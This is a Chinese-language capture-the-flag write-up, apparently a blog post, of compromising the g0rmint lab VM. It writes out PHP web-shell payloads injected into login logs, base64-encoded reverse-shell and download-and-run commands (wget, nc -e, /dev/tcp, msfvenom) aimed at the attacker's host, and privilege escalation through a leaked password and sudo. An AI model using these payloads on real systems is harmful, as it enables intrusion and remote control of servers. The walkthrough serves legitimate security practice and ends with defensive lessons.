g0rmint(一句话写入log)
登陆以后,发现功能少的可怜。。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
主面板显示:under contructin,正在施工。。
secrets不知道是什么,好像不是英语,乱码?
profile是个更改登录密码功能,logout就不说了。
那么,该如何提权呢?。。上传功能没有
config.php里有个记录日志的功能。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/
访问结果404not found
Y-m-d应该是year、month、day,年月日
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-February-23rd.php
404not found
http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-02-23.php
404 not found
http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-02-22.php
跳转到登陆页面,登陆以后
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
看来登陆失败,邮箱地址会记录到日志里,那么.…
如果这么写,会不会成功执行呢?
abc@gmail.com<?php eval($_POST[http];?>
先登陆失败一次,发现在22日日志里成功记录。说明23日的失败记录会写入2018-2-22.php文件里。
再写入php代码,再访问2018-2-22.php发现,状态码为500 internal server
error。
用菜刀连接,发现一直的一直都是请稍等。。
我对菜刀的原理还不是很熟悉的,遇到问题懵逼
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
500 server error?
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
em....…要是一直这样500,那么难道要等明天,更新新的日志才能继续做实验吗?!
改网络连接模式为host-only,断网,改本地时间。
只要登陆失败一次,就会创建2018-2-23.php
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
现在检查是什么导致500 sever error:
<?php 可以
<?php ?> 可以
<?php $data =
shell_exec(base64_decode('L2Jpbi9scyAtbAo='));print_r($data)?>
出错了
猜测,因为email的输入有长度限制,命令被截断了,执行命令就出错了。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
确定不是长度原因。
发现,单引号和双引号会被\转义
<?php echo shell_exec(base64_decode($_GET[cmd]));?>
没有引号,完美!
将这条语句写入log,在浏览器执行时候,就会接收get参数cmd。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
cmd参数
:::
:::
如果我们传递cmd的内容为,编码过的/bin/ls -l
(L2Jpbi9scyAtbAo=),php脚本就会执行shell_exec()函数,从而执行linux命令。
尝试一:用wget获取攻击机的反弹shell的php脚本
wget http://192.168.254.129/php-reverse-shell.php;chmod +x
php-reverse-shell.php;./php-reverse-shell.php 将命令编码d2dldCBodHRwOi8vMTkyLjE2OC4yNTQuMTI5L3BocC1yZXZlcnNlLXNoZWxsLnBocDtjaG1vZCAreCBwaHAtcmV2ZXJzZS1zaGVsbC5waHA7Li9waHAtcmV2ZXJzZS1zaGVsbC5waHAK
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
python -c 'import pty;pty.spawn("/bin/bash")'
问题:如图,显示192.168.254.129 to
192.168.254.129,IP是一样的?
尝试二:用nc直接反弹一个bash shell,失败,unknown host
总结:当能够直接执行靶机上的shell(例如命令执行漏洞),再用nc反弹shell到攻击机比较好。
这里是www-data用户,所以可能有权限的问题。
(d2hvYW1p) = whoami 执行结果:www-data
(bmMgMTkyLjE2OC4yNTQuMTI5IDEyMzQ= ) = nc 192.168.254.129 1234
(bmMgLWwgLXZ2IC1wIDEyMzQgLWUgL2Jpbi9iYXNo)= nc -l -vv -p 1234 -e
/bin/bash
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
尝试三:直接反弹一个shell,失败,和尝试二一样。
bash -i >& /dev/tcp/192.168.254.129/888 0>&1
尝试四:用msfvenom生成一个反弹shell,和尝试一差不多。
msfvenom -p linux/x86/shell_reverse_tcp -f elf lhost=192.168.254.129
lport=1234 > /var/www/html/shell
wget http://192.168.254.129/shell;chmod +x shell;./shell
d2dldCBodHRwOi8vMTkyLjE2OC4yNTQuMTI5L3NoZWxsO2NobW9kICt4IHNoZWxsOy4vc2hlbGw=
./shell = Li9zaGVsbA==
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
获取信息:
Linux ubuntu 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC
2017 x86_64 x86_64 x86_64 GNU/Linux有两个普通用户g0rmint、sshd
python not found
版本有点高啊,怎么提权呢?
尝试一:suid提权,貌似没有可利用的suid程序
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
尝试二:联想到开头的ssh端口,于是从数据库里提取用户名密码。
http://192.168.1.105/g0rmint/s3cretbackupdirect0ry/backup.zip
在s3cretbackupdirect0ry 文件夹下,有个zip文件
unzip backup.zip
cat db.sql
呃好像没找到密码,路径为/var/www/html/g0rmint/s3cretbackupdirect0ry
cd /var/www/
目录下有html、backup.zip
又有一个备份文件
直接解压,权限不够,于是解压到tmp目录
unzip backup.zip -d /var/tmp
cd /var/tmp
find db.sql
cat db.sql
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
在备份文件里,找到noman的密码,tayyab123
ssh g0rmint@192.168.254.130/tayyab123
su root/tayyab123
su:Authentication failure root密码不知道
sudo su
tayyab123
locate flag
cat /root/flag.txt
su我知道,切换用户嘛,sudo我也知道,普通用户需要执行管理员才能执行的命令的时候,临时使用的命令嘛。
但是sudo su是什么鬼?没用过
总结:
两个命令的最大区别是:
sudo 命令需要输入当前用户的密码,su 命令需要输入 root 用户的密码。
很明显,就安全而言,sudo 命令更好。例如,考虑到需要 root 访问权限的多用户使用的计算机。在这种情况下,使用 su意味着需要与其他用户共享 root 用户密码,这显然不是一种好习惯。
此外,如果要撤销特定用户的超级用户/root 用户的访问权限,唯一的办法就是更改 root 密码,然后再告知所有其他用户新的 root 密码。
而使用 sudo 命令就不一样了,你可以很好的处理以上的两种情况。鉴于 sudo 命令要求输入的是其他用户自己的密码,所以,不需要共享 root 密码。
同时,想要阻止特定用户访问 root 权限,只需要调整 sudoers 文件中的相应配置即可。
可以看到该靶机中,sudoers文件表示,所有用户都可以执行sudo来提权。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
登陆表单的邮箱参数,应该有长度限制!应该要过滤敏感字符!仅仅转义是不够的!
备份文件是要删除的,不能放在网站var/www/html/文件夹下
sudo -i、sudo su 命令都可以使得sudoer用户有root权限
:::
:::